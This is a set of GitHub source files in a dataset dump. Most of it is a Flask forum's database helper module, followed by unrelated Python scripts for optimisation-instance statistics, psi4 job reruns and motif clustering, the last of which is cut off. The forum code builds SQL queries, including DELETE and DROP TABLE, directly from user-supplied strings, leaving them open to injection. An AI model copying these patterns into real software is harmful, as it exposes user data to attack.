\"messages_length\": i[4], \"lastMessage\": {'user': {'link': '/members/' + i[5], 'name': i[5]}, 'date': i[6].split(' -')[0]}})\r\n if int(i[7]):\r\n answer['data'][-1]['blocked'] = 1\r\n answer['data'] = sorted(answer['data'], key=lambda x: x['link'])[::-1]\r\n params['forum'] = answer\r\n con.commit()\r\n con.close()\r\n return True\r\n else:\r\n answer = {}\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n header = cur.execute(\r\n f\"\"\"SELECT * FROM main where link = '{theme_link}'\"\"\").fetchone()\r\n if header is None or not len(header) or header[0] is None:\r\n con.commit()\r\n con.close()\r\n return False\r\n answer['header'] = header[1]\r\n answer['theme'] = header[2]\r\n answer['link'] = theme_link\r\n answer['blocked'] = header[5]\r\n answer['data'] = []\r\n result = cur.execute(\r\n f\"\"\"SELECT * FROM `{theme_link}`\"\"\").fetchall()\r\n for i in result:\r\n answer['data'].append(\r\n {'link': i[2], 'header': i[1], \"creator\": {'login': i[3], 'date': i[4], 'link': '/members/' + i[3]},\r\n \"themes_length\": i[5],\r\n \"messages_length\": i[6],\r\n \"lastMessage\": {'user': {'link': '/members/' + i[7], 'name': i[7]}, 'date': i[8].split(' -')[0]}})\r\n if int(i[9]):\r\n answer['data'][-1]['blocked'] = 1\r\n params['forum'] = answer\r\n con.commit()\r\n con.close()\r\n return True\r\n\r\ndef push_new_theme(header, link, keywords, theme_link):\r\n header = header.replace('\"', \"'\")\r\n date_of_theme_and_message = datetime.today().strftime('%d.%m.%Y - %H:%M:%S')\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n check = cur.execute(\r\n f\"\"\"SELECT * FROM main where link = '{theme_link}'\"\"\").fetchone()\r\n if not len(check) or check[0] is None or not int(current_user.admin):\r\n con.commit()\r\n con.close()\r\n return\r\n check = cur.execute(\r\n f\"\"\"SELECT * FROM `{theme_link}` where link = '{link}'\"\"\").fetchone()\r\n if not check is None and len(check):\r\n con.commit()\r\n con.close()\r\n return\r\n check = cur.execute(\r\n f\"\"\"SELECT * FROM `{theme_link}` where header = '{header}'\"\"\").fetchone()\r\n if not check is None and len(check):\r\n con.commit()\r\n con.close()\r\n return\r\n cur.execute(\r\n f\"\"\"INSERT into `{theme_link}`('header', 'link', 'creator', 'creator-theme-date', 'themes-length', 'messages-length', 'last-message-creator', 'last-message-date', 'blocked', 'keywords') values('{header}', '{link}', '{current_user.login}', '{date_of_theme_and_message.split(' -')[0]}', 0, 0, '', '', 0, '{keywords}')\"\"\")\r\n cur.execute(\r\n f\"\"\"CREATE TABLE IF NOT EXISTS `{theme_link}-{link}` ('header' varchar, 'link' varchar, 'creator' varchar, 'creator-theme-date' varchar, 'messages-length' varchar, 'last-message-creator' varchar, 'last-message-date' varchar, 'blocked' BOOLEAN, 'keywords' varchar);\"\"\")\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef push_new_subtheme(header, keywords, first_message, theme_link):\r\n header = header.replace('\"', \"'\")\r\n first_message = first_message.replace('\"', \"'\")\r\n first_message = first_message.replace('`', \"'\")\r\n first_message = first_message.replace('<', '')\r\n first_message = first_message.replace('>', \"'\")\r\n first_message = first_message.replace('\\r', '')\r\n first_message = first_message.replace('\\\\', '')\r\n date_of_theme_and_message = datetime.today().strftime('%d.%m.%Y - %H:%M:%S')\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n check = cur.execute(\r\n f\"\"\"SELECT * FROM main where link = '{theme_link.split('/')[0]}'\"\"\").fetchone()\r\n if not len(check) or check[0] is None:\r\n con.commit()\r\n con.close()\r\n return\r\n check = cur.execute(\r\n f\"\"\"SELECT * FROM `{theme_link.split('/')[0]}` where link = '{theme_link.split('/')[1]}'\"\"\").fetchone()\r\n if not len(check) or check[0] is None or (int(check[9]) and not int(current_user.admin)):\r\n con.commit()\r\n con.close()\r\n return\r\n max_index = 500000\r\n if int(current_user.admin):\r\n max_index = 500000*2\r\n max_id = cur.execute(\r\n f\"\"\"SELECT max(link) FROM `{theme_link.replace('/', '-')}` where cast(link as integer) < {str(max_index)}\"\"\").fetchone()\r\n if not len(max_id) or max_id[0] is None:\r\n max_id = max_index - 500000\r\n else:\r\n max_id = int(max_id[0]) + 1\r\n cur.execute(\r\n f\"\"\"INSERT into `{theme_link.replace('/', '-')}` values('{header}', '{max_id}', '{current_user.login}', '{date_of_theme_and_message.split(' -')[0]}', 1, '{current_user.login}', '{date_of_theme_and_message}', 0, '{keywords}')\"\"\")\r\n cur.execute(\r\n f\"\"\"CREATE TABLE IF NOT EXISTS `{theme_link.replace('/', '-')}-{str(max_id)}` ('login' varchar, 'date' varchar, 'text' varchar, 'answer' varchar);\"\"\")\r\n cur.execute(\r\n f\"\"\"INSERT into `{theme_link.replace('/', '-')}-{str(max_id)}` values('{current_user.login}', '{date_of_theme_and_message}', \"{first_message}\", '')\"\"\")\r\n cur.execute(\r\n f\"\"\"UPDATE `{theme_link.split('/')[0]}` set `messages-length` = `messages-length` + 1, `themes-length` = `themes-length` + 1, `last-message-creator` = '{current_user.login}', `last-message-date` = '{date_of_theme_and_message}' where link = '{theme_link.split('/')[1]}' \"\"\")\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef get_themes_chat(params, theme_link, subtheme_link, thread_id):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n first_check = cur.execute(f\"\"\"SELECT * FROM main where link = '{theme_link}'\"\"\").fetchone()\r\n if first_check is None or not len(first_check) or first_check[0] is None:\r\n con.commit()\r\n con.close()\r\n return False\r\n second_check = cur.execute(f\"\"\"SELECT * FROM `{theme_link}` where link = '{subtheme_link}'\"\"\").fetchone()\r\n if second_check is None or not len(second_check) or second_check[0] is None:\r\n con.commit()\r\n con.close()\r\n return False\r\n third_check = cur.execute(f\"\"\"SELECT * FROM `{theme_link}-{subtheme_link}` where link = '{thread_id}'\"\"\").fetchone()\r\n if third_check is None or not len(third_check) or third_check[0] is None:\r\n con.commit()\r\n con.close()\r\n return False\r\n params['forum'] = {}\r\n params['forum']['subtheme'] = second_check[1]\r\n params['forum']['subtheme_link'] = subtheme_link\r\n params['forum']['link'] = theme_link\r\n if int(third_check[7]):\r\n params['forum']['blocked'] = 1\r\n params['forum']['thread_title'] = third_check[0]\r\n params['forum']['theme'] = first_check[2]\r\n params['forum']['header'] = first_check[1]\r\n params['forum']['messages'] = []\r\n session = db_session.create_session()\r\n try:\r\n for i in cur.execute(f\"\"\"SELECT * FROM `{theme_link}-{subtheme_link}-{thread_id}`\"\"\").fetchall():\r\n text = i[2].replace('\"', \"'\").split('\\n')\r\n userData = cur.execute(f\"\"\"SELECT * FROM `users` where login='{i[0]}'\"\"\").fetchone()\r\n if userData is None or not len(userData) or userData[0] is None:\r\n image = 'user-ico.svg'\r\n else:\r\n image = userData[1]\r\n params['forum']['messages'].append({\"author\": {\"name\": i[0], \"admin\": session.query(User).filter(User.login == i[0]).first().admin, \"image\": image}, \"time\": i[1], \"text\": f\"{''.join([f'

`{j}`

' for j in text])}\", \"answer\": i[3]})\r\n except:\r\n pass\r\n session.close()\r\n con.commit()\r\n con.close()\r\n return True\r\n\r\n\r\ndef get_last_messages(link, need_time):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n link = '-'.join(link.split('/'))[:-1]\r\n data = {\"messages\": []}\r\n session = db_session.create_session()\r\n try:\r\n for i in cur.execute(f\"\"\"SELECT * FROM `{link}`\"\"\").fetchall():\r\n text = i[2].replace('\"', \"'\").split('\\n')\r\n userData = cur.execute(f\"\"\"SELECT * FROM `users` where login='{i[0]}'\"\"\").fetchone()\r\n if userData is None or not len(userData) or userData[0] is None:\r\n image = 'user-ico.svg'\r\n else:\r\n image = userData[1]\r\n data['messages'].append({\"author\": {\"name\": i[0], \"admin\": session.query(User).filter(User.login == i[0]).first().admin, \"image\": image}, \"time\": i[1], \"text\": f\"{''.join([f'

`{j}`

' for j in text])}\", \"answer\": i[3]})\r\n except:\r\n pass\r\n session.close()\r\n con.commit()\r\n con.close()\r\n try:\r\n return [x for x in data['messages'] if datetime.strptime(x[\"time\"], \"%d.%m.%Y - %H:%M:%S\") > datetime.strptime(need_time, \"%d.%m.%Y - %H:%M:%S\")]\r\n except:\r\n return []\r\n\r\n\r\ndef get_themes_search(params, search_text):\r\n search_text = search_text.lower()\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n answer = {}\r\n answer['header'] = 'Главная страница'\r\n answer['theme'] = 'Поиск'\r\n answer['data'] = []\r\n for i in cur.execute(\r\n f\"\"\"SELECT * FROM main\"\"\").fetchall():\r\n result = cur.execute(\r\n f\"\"\"SELECT * FROM `{i[3]}`\"\"\").fetchall()\r\n for j in result:\r\n keywords = j[10].lower().replace(' ', ',').split(',')\r\n if any(map(lambda v: v in search_text.split(), keywords)):\r\n answer['data'].append({'link': i[3] + '/' + j[2], 'header': j[1], 'blocked': int(j[9]), 'creator': {'login': j[3], 'date': j[4], 'link': '/members/' + j[3]},\r\n \"themes_length\": j[5],\r\n \"messages_length\": j[6],\r\n \"lastMessage\": {'user': {'link': '/members/' + j[7], 'name': j[7]}, 'date': j[8].split(' -')[0]}})\r\n else:\r\n new_result = cur.execute(\r\n f\"\"\"SELECT * FROM `{i[3]}-{j[2]}`\"\"\").fetchall()\r\n for k in new_result:\r\n keywords = k[8].lower().replace(' ', ',').split(',')\r\n if any(map(lambda v: v in search_text.split(), keywords)):\r\n answer['data'].append({'link': i[3] + '/' + j[2] + '/' + k[1], 'header': k[0], 'blocked': int(k[7]),\r\n 'creator': {'login': k[2], 'date': k[3], 'link': '/members/' + k[2]},\r\n \"messages_length\": k[4],\r\n \"lastMessage\": {'user': {'link': '/members/' + k[5], 'name': k[5]},\r\n 'date': k[6].split(' -')[0]}})\r\n params['forum'] = answer\r\n con.commit()\r\n con.close()\r\n return True\r\n\r\n\r\ndef push_new_message(text, link, answer):\r\n text = text.replace('\"', \"'\")\r\n text = text.replace('\"', \"'\")\r\n text = text.replace('`', \"'\")\r\n text = text.replace('<', '')\r\n text = text.replace('>', \"'\")\r\n text = text.replace('\\r', '')\r\n text = text.replace('\\\\', '')\r\n\r\n\r\n date_of_theme_and_message = datetime.today().strftime('%d.%m.%Y - %H:%M:%S')\r\n link = link.split('/')\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n check = cur.execute(f\"\"\"SELECT * FROM `{link[0]}` where link='{link[1]}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None or (int(check[9]) and not int(current_user.admin)):\r\n con.commit()\r\n con.close()\r\n return\r\n try:\r\n cur.execute(\r\n f\"\"\"INSERT into `{link[0]}-{link[1]}-{link[2]}` values('{current_user.login}', '{date_of_theme_and_message}', \"{text}\", '{answer}')\"\"\")\r\n cur.execute(\r\n f\"\"\"Update `{link[0]}-{link[1]}` set `messages-length` = `messages-length` + 1, `last-message-creator` = '{current_user.login}', `last-message-date` = '{date_of_theme_and_message}' where link= '{link[2]}'\"\"\")\r\n cur.execute(\r\n f\"\"\"UPDATE `{link[0]}` set `messages-length` = `messages-length` + 1, `last-message-creator` = '{current_user.login}', `last-message-date` = '{date_of_theme_and_message}' where link = '{link[1]}' \"\"\")\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n\r\n\r\ndef delete_message(login, time, link):\r\n link = link.split('/')\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n try:\r\n check = cur.execute(f\"\"\"SELECT * FROM `{link[0]}-{link[1]}` where link='{link[2]}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n con.commit()\r\n con.close()\r\n return\r\n if current_user.login != login and not int(current_user.admin):\r\n con.commit()\r\n con.close()\r\n return\r\n cur.execute(\r\n f\"\"\"DELETE from `{link[0]}-{link[1]}-{link[2]}` where `login` = '{login}' and `date` = '{time}'\"\"\")\r\n cur.execute(\r\n f\"\"\"Update `{link[0]}-{link[1]}` set `messages-length` = `messages-length` - 1 where link= '{link[2]}'\"\"\")\r\n cur.execute(\r\n f\"\"\"UPDATE `{link[0]}` set `messages-length` = `messages-length` - 1 where link = '{link[1]}' \"\"\")\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n\r\n\r\ndef delete_subtheme(link):\r\n if not int(current_user.admin):\r\n return\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n try:\r\n link = link.split('/forum/')[1].split('/')\r\n check = cur.execute(f\"\"\"SELECT * FROM `{link[0]}-{link[1]}` where link='{link[2]}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n con.commit()\r\n con.close()\r\n return\r\n cur.execute(\r\n f\"\"\"UPDATE `{link[0]}` set `messages-length` = `messages-length` - {check[4]}, `themes-length` = `themes-length` - 1 where link = '{link[1]}' \"\"\")\r\n cur.execute(\r\n f\"\"\"DROP TABLE `{link[0]}-{link[1]}-{link[2]}`\"\"\")\r\n cur.execute(\r\n f\"\"\"DELETE FROM `{link[0]}-{link[1]}` where link='{link[2]}'\"\"\")\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef close_theme(link):\r\n if not int(current_user.admin):\r\n return\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n try:\r\n link = link.split('/forum/')[1].split('/')\r\n check = cur.execute(f\"\"\"SELECT * FROM `{link[0]}` where link='{link[1]}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n con.commit()\r\n con.close()\r\n return\r\n cur.execute(\r\n f\"\"\"Update `{link[0]}` set `blocked` = not `blocked` where link= '{link[1]}'\"\"\")\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef close_subtheme(link):\r\n if not int(current_user.admin):\r\n return\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n try:\r\n link = link.split('/forum/')[1].split('/')\r\n check = cur.execute(f\"\"\"SELECT * FROM `{link[0]}-{link[1]}` where link='{link[2]}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n con.commit()\r\n con.close()\r\n return\r\n cur.execute(\r\n f\"\"\"Update `{link[0]}-{link[1]}` set `blocked` = not `blocked` where link= '{link[2]}'\"\"\")\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef get_usr_data(params, login):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n params['user'] = {}\r\n params['user']['image'] = 'user-ico.svg'\r\n try:\r\n session = db_session.create_session()\r\n admin_level = session.query(User).filter(User.login == login).first().admin\r\n date_of_reg = session.query(User).filter(User.login == login).first().date_of_reg\r\n session.close()\r\n if not len(date_of_reg):\r\n con.commit()\r\n con.close()\r\n return False\r\n except:\r\n return False\r\n try:\r\n if login.lower() == 'admin':\r\n check = cur.execute(f\"\"\"SELECT * FROM `users` where login='{login.lower()}'\"\"\").fetchone()\r\n else:\r\n check = cur.execute(f\"\"\"SELECT * FROM `users` where login='{login}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n pass\r\n else:\r\n params['user']['image'] = check[1]\r\n except:\r\n pass\r\n params['user']['date_of_reg'] = date_of_reg\r\n params['user']['rules'] = ['Игрок', 'Модератор', 'Хелпер', 'Администратор', 'Главный Администратор', 'Создатель'][int(admin_level)]\r\n answer = {'data': [], 'messages': []}\r\n another = []\r\n for i in cur.execute(\r\n f\"\"\"SELECT * FROM main\"\"\").fetchall():\r\n result = cur.execute(\r\n f\"\"\"SELECT * FROM `{i[3]}`\"\"\").fetchall()\r\n for j in result:\r\n if j[3].lower() == login.lower():\r\n answer['data'].append({'link': i[3] + '/' + j[2], 'header': j[1], 'blocked': int(j[9]), 'creator': {'login': j[3], 'date': j[4], 'link': '/members/' + j[3]},\r\n \"themes_length\": j[5],\r\n \"messages_length\": j[6],\r\n \"lastMessage\": {'user': {'link': '/members/' + j[7], 'name': j[7]}, 'date': j[8].split(' -')[0]}})\r\n new_result = cur.execute(\r\n f\"\"\"SELECT * FROM `{i[3]}-{j[2]}`\"\"\").fetchall()\r\n for k in new_result:\r\n if k[2].lower() == login.lower():\r\n another.append({'link': i[3] + '/' + j[2] + '/' + k[1], 'header': k[0], 'blocked': int(k[7]),\r\n 'creator': {'login': k[2], 'date': k[3], 'link': '/members/' + k[2]},\r\n \"messages_length\": k[4],\r\n \"lastMessage\": {'user': {'link': '/members/' + k[5], 'name': k[5]},\r\n 'date': k[6].split(' -')[0]}})\r\n new_new_result = cur.execute(\r\n f\"\"\"SELECT * FROM `{i[3]}-{j[2]}-{k[1]}`\"\"\").fetchall()\r\n for _ in new_new_result:\r\n if _[0].lower() == login.lower():\r\n answer['messages'].append({'link': i[3] + '/' + j[2] + '/' + k[1], 'text': _[2][:53].replace('\\n', ' '), 'date': _[1]})\r\n answer['data'].extend(another)\r\n params['user']['forum'] = {}\r\n params['user']['forum']['data'] = answer['data']\r\n params['user']['forum']['messages'] = answer['messages']\r\n params['user']['forum']['messagesLength'] = str(len(answer['messages']))\r\n params['user']['forum']['dataLength'] = str(len(answer['data']))\r\n if login.lower() == 'admin':\r\n check = cur.execute(f\"\"\"SELECT * FROM `users_online` where login='{login.lower()}'\"\"\").fetchone()\r\n else:\r\n check = cur.execute(f\"\"\"SELECT * FROM `users_online` where login='{login}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n params['user']['last_activity'] = 'был(а) в сети давно'\r\n params['user']['active'] = 'offline'\r\n else:\r\n if int(check[1]):\r\n params['user']['active'] = 'online'\r\n params['user']['last_activity'] = 'в сети'\r\n else:\r\n params['user']['active'] = 'offline'\r\n params['user']['last_activity'] = 'был(а) в сети ' + check[2]\r\n con.commit()\r\n con.close()\r\n return True\r\n\r\n\r\ndef update_last_online_time(active, date):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n check = cur.execute(f\"\"\"SELECT * FROM `users_online` where login='{current_user.login}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n cur.execute(\r\n f\"\"\"INSERT into `users_online` values('{current_user.login}', '{active}', '{date}')\"\"\")\r\n else:\r\n cur.execute(\r\n f\"\"\"UPDATE `users_online` set `usr-active` = '{active}', `usr-date` = '{date}' where login='{current_user.login}'\"\"\")\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef upload_image(image):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n check = cur.execute(f\"\"\"SELECT * FROM `users` where login='{current_user.login}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n cur.execute(\r\n f\"\"\"INSERT into `users` values('{current_user.login}', '{image}')\"\"\")\r\n else:\r\n os.remove('/home/todolist/static/img/' + check[1])\r\n cur.execute(\r\n f\"\"\"UPDATE `users` set `usr-image` = '{image}' where login='{current_user.login}'\"\"\")\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef get_another_usr_image(params, login):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n params['image'] = 'user-ico-white.svg'\r\n try:\r\n check = cur.execute(f\"\"\"SELECT * FROM `users` where login='{login}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n pass\r\n else:\r\n params['image'] = check[1]\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n return\r\n\r\n\r\ndef get_vk_music(params, id, call, text=None):\r\n global vk\r\n reciever_id = int(id)\r\n if call == 'playlist':\r\n params['playlist'] = []\r\n smth = vk.get_albums(owner_id=reciever_id)[::-1]\r\n for i in smth:\r\n try:\r\n check_songs = vk.get(owner_id=i['owner_id'], album_id=i['id'], access_hash=i['access_hash'])\r\n if not len(check_songs):\r\n continue\r\n params['playlist'].append({'name': i['title'], 'pic': i['img'], 'genre': '', 'music': []})\r\n for j in check_songs:\r\n duration = int(j['duration']) % 60\r\n if len(str(duration)) == 1:\r\n duration = '0' + str(duration)\r\n minutes = int(j['duration']) // 60\r\n end_duration = str(minutes) + ':' + str(duration)\r\n params['playlist'][-1]['music'].append({'url': j['url'], 'name': j['title'], 'artist': j['artist'], 'duration': end_duration})\r\n except Exception as e:\r\n if len(params['playlist']) and params['playlist'][-1]['name'] == i['title']:\r\n params['playlist'].pop()\r\n time.sleep(0.1)\r\n elif call == 'localMusic':\r\n params['localMusic'] = []\r\n smth = vk.get(owner_id=reciever_id)\r\n try:\r\n for i in smth:\r\n duration = int(i['duration']) % 60\r\n if len(str(duration)) == 1:\r\n duration = '0' + str(duration)\r\n minutes = int(i['duration']) // 60\r\n end_duration = str(minutes) + ':' + str(duration)\r\n params['localMusic'].append(\r\n {'url': i['url'], 'name': i['title'], 'artist': i['artist'], 'duration': end_duration})\r\n except:\r\n params['localMusic'] = []\r\n elif call == 'findMusic':\r\n params['findMusic'] = []\r\n smth = vk.search(text, count=15)\r\n try:\r\n for i in smth:\r\n duration = int(i['duration']) % 60\r\n if len(str(duration)) == 1:\r\n duration = '0' + str(duration)\r\n minutes = int(i['duration']) // 60\r\n end_duration = str(minutes) + ':' + str(duration)\r\n params['findMusic'].append(\r\n {'url': i['url'], 'name': i['title'], 'artist': i['artist'], 'duration': end_duration})\r\n except:\r\n params['findMusic'] = []\r\n return\r\n\r\n\r\ndef get_usr_image(params):\r\n con = sqlite3.connect('./forum/forum_data.db')\r\n cur = con.cursor()\r\n params['image'] = 'user-ico-white.svg'\r\n try:\r\n check = cur.execute(f\"\"\"SELECT * FROM `users` where login='{current_user.login}'\"\"\").fetchone()\r\n if check is None or not len(check) or check[0] is None:\r\n pass\r\n else:\r\n params['image'] = check[1]\r\n except:\r\n pass\r\n con.commit()\r\n con.close()\r\n return\r\n","repo_name":"HydraRolePlay/hydrarp_site","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":34462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"25446296600","text":"\n\nimport glob\nimport os\nimport pandas as pd\n\n\ndef load_input(in_file):\n if not os.path.exists(in_file):\n print(\"cannot open path \\\"\"+in_file+\"\\\"\")\n exit(1)\n\n lines = []\n constraints = []\n objectiveline = None\n nextVar = 0\n origMaxVar = 0\n with open(in_file, 'r') as file:\n prev = \"\"\n for l in file:\n if l.startswith(\"*\"):\n # comments/header doesn't end with ;\n lines.append(l)\n continue\n for kw in l.split():\n if kw[0] == 'x':\n nextVar = max(nextVar, int(kw[1:]))\n if len(prev) > 0:\n # append to previous line\n l = prev + l\n if l.strip()[-1] != \";\":\n # line continues\n prev = l.strip() + \" \"\n continue\n if l.startswith(\"min\") or l.startswith(\"max\"):\n objectiveline = l\n else:\n lines.append(l)\n sides = l[:-1].split(\"=\")\n # Only assumes normalized instances?\n equality = sides[0][-1] != \">\"\n rhs = int(sides[1][:-1])\n wrds = sides[0].split()\n if wrds[-1] == '>':\n wrds = wrds[:-1]\n ind = list(map(lambda x: int(x[1:]), wrds[1::2]))\n coefs = list(map(int, wrds[::2]))\n constraints.append((dict(zip(ind, coefs)), rhs))\n if equality:\n constraints.append(\n (dict(zip(ind, [-v for v in coefs])), -rhs))\n prev = \"\"\n nextVar += 1\n\n # Parse objective line\n objectiveline = objectiveline[4:-2].strip().split()\n origMaxVar = nextVar\n objvars = [int(t[1:]) for t in objectiveline[1::2]]\n objcoefs = list(map(int, objectiveline[0::2]))\n\n return origMaxVar, objvars, objcoefs, constraints\n\n\ndef parse_instance_name(path):\n domain = path.split(\".\")[0].split(\"/\")[-2]\n name = path.split(\".\")[0].split(\"/\")[-1]\n return domain, name\n\n\ndef find_files(path):\n files = []\n\n for log_file in glob.iglob(f\"{path}/**/*.opb\", recursive=True):\n files.append(log_file)\n\n return files\n\n\nif __name__ == \"__main__\":\n INSTANCES_PATH = \"instances/\"\n domains = []\n results = {}\n\n for f in find_files(INSTANCES_PATH):\n domain, name = parse_instance_name(f)\n if not domain in domains:\n domains.append(domain)\n\n if not domain in results:\n results[domain] = {\n \"n_vars\": 0,\n \"n_cons\": 0,\n \"n_instances\": 0\n }\n\n origMaxVar, objvars, objcoefs, constraints = load_input(f)\n n_vars = origMaxVar - 1\n n_cons = len(constraints)\n\n results[domain][\"n_instances\"] += 1\n results[domain][\"n_vars\"] += n_vars\n results[domain][\"n_cons\"] += n_cons\n\n meta = pd.DataFrame(\n columns=[\"domain\", \"average number of variables\",\n \"average number of constraints\"], index=domains\n )\n\n for domain in results.keys():\n n_instances = results[domain][\"n_instances\"]\n results[domain][\"n_vars\"] /= n_instances\n results[domain][\"n_cons\"] /= n_instances\n meta.loc[domain, \"domain\"] = domain\n meta.loc[domain, \"average number of variables\"] = results[domain][\"n_vars\"]\n meta.loc[domain, \"average number of constraints\"] = results[domain][\"n_cons\"]\n\n meta = meta.style.format(precision=0)\n meta = meta.hide_index()\n meta = meta.format(\"\\\\textbf{{{}}}\", escape=\"latex\",\n subset=meta.columns[0:1])\n print(meta.to_latex())\n","repo_name":"woltsu/pbo-ls-with-oracle","sub_path":"compare/parseMeta.py","file_name":"parseMeta.py","file_ext":"py","file_size_in_byte":3676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36051096960","text":"import os\nimport types\n\n\ndef run_with_check(job: str, basedir: str, psi4_config: dict,\n success_count: int, run_func: types.FunctionType,\n error_scf: bool = True):\n print(\"====running on====: \", job)\n os.chdir(job)\n success = False\n if not os.path.isdir(\"b3lyp\"):\n success = run_func(psi4_config, return_wfn=True)\n print(\"success: \", success)\n if success:\n success_count += 1\n else:\n print(\"folder exists.\")\n resubed = False\n functional = \"b3lyp\"\n if not os.path.isfile(functional + \"/output.dat\"):\n resubed = True\n else:\n with open(functional + \"/output.dat\", \"r\") as fo:\n txt = \"\".join(fo.readlines())\n if \"==> Iterations <==\" not in txt:\n resubed = True\n if resubed:\n print(\"previous errored out. resubmitting...\")\n success = run_func(psi4_config, return_wfn=True)\n print(\"success: \", success)\n if success:\n success_count += 1\n else:\n with open(functional + \"/output.dat\", \"r\") as fo:\n txt = \"\".join(fo.readlines())\n if 'PsiException: Could not converge SCF iterations' not in txt and os.path.isfile(functional + \"/wfn.180.npy\"):\n print(\"success: \", True)\n success = True\n success_count += 1\n os.chdir(basedir)\n if not success and error_scf:\n raise ValueError(\n \"Failed on the job: %s. Other derivative jobs won't run.\" % job)\n return success_count\n","repo_name":"hjkgrp/jobmanager","sub_path":"jobmanager/psi4_utils/stable_run.py","file_name":"stable_run.py","file_ext":"py","file_size_in_byte":1615,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"22105997254","text":"import datetime\nimport subprocess\nimport logging\nimport os\nimport sys\nif os.path.exists('/groups/pupko/orenavr2/'):\n src_dir = '/groups/pupko/orenavr2/igomeProfilingPipeline/src'\nelse:\n src_dir = '/Users/Oren/Dropbox/Projects/gershoni/src'\nsys.path.insert(0, src_dir)\n\nfrom auxiliaries.pipeline_auxiliaries import verify_file_is_not_empty, get_cluster_size_from_name, load_fasta_to_dict, \\\n get_count_from\n\n\ndef get_clusters_sequences(motif_inference_output_path, biological_condition, sample_names,\n cluster_names, cluster_rank, max_number_of_sequences_to_use):\n sample_paths = []\n for sample_name in sample_names:\n sample_paths.append(os.path.join(motif_inference_output_path, sample_name, 'unaligned_sequences'))\n\n unified_dict_sequence2header = {} # unified_cluster\n for cluster_file_name in cluster_names:\n for sample_folder in sample_paths:\n if cluster_file_name in os.listdir(sample_folder):\n cluster_file_path = os.path.join(sample_folder, cluster_file_name)\n break\n else:\n raise ValueError(f'No cluster named {cluster_file_name} was found in the following dirs:\\n' +\n '\\n'.join(sample_paths))\n sequence2header = load_fasta_to_dict(cluster_file_path, reverse=True)[0] # don't need the other returned objects\n for sequence, header in sequence2header.items():\n if sequence in unified_dict_sequence2header:\n unified_header = unified_dict_sequence2header.pop(sequence)\n total_counts = get_count_from(header) + get_count_from(unified_header)\n header = unified_header[:unified_header.rindex('_')] + f'_{total_counts}'\n unified_dict_sequence2header[sequence] = header\n\n # TODO: should the counts be normalized by the number of samples involved? each sample contributes million reads\n # TODO: so 6 samples will contribute more than just 2 samples...\n # TODO: if so, we should divide HERE the total count (last token of the header) by the number of samples...\n unified_dict_header2sequence = {header: sequence for sequence, header in unified_dict_sequence2header.items()}\n\n result = ''\n for i, header in enumerate(sorted(unified_dict_header2sequence, key=get_count_from, reverse=True)):\n if i == max_number_of_sequences_to_use:\n break\n result += f'>{header}\\n{unified_dict_header2sequence[header]}\\n'\n\n number_of_unique_members = len(unified_dict_header2sequence)\n cluster_size = sum(get_count_from(header) for header in unified_dict_header2sequence)\n result_file_name = f'{biological_condition}_clusterRank_' \\\n f'{str(cluster_rank).zfill(4)}_uniqueMembers_' \\\n f'{\"top\" if number_of_unique_members >= max_number_of_sequences_to_use else \"\"}' \\\n f'{min(number_of_unique_members, max_number_of_sequences_to_use)}_' \\\n f'clusterSize_{cluster_size:.2f}.faa'\n return result, result_file_name\n\n\ndef unite_clusters(motif_inference_output_path, meme_file, biological_condition, sample_names,\n max_number_of_members_per_cluster, output_path, done_path, aln_cutoff, pcc_cutoff,\n unite_pssm_script_path='/groups/pupko/orenavr2/gershoni/src/UnitePSSMs/UnitePSSMs', argv='no_argv'):\n\n clusters_to_combine_path = os.path.join(output_path, 'cluster_to_combine.csv')\n if not os.path.exists(clusters_to_combine_path):\n # TODO: any modules to load?\n cmd = f'{unite_pssm_script_path} -pssm {meme_file} -out 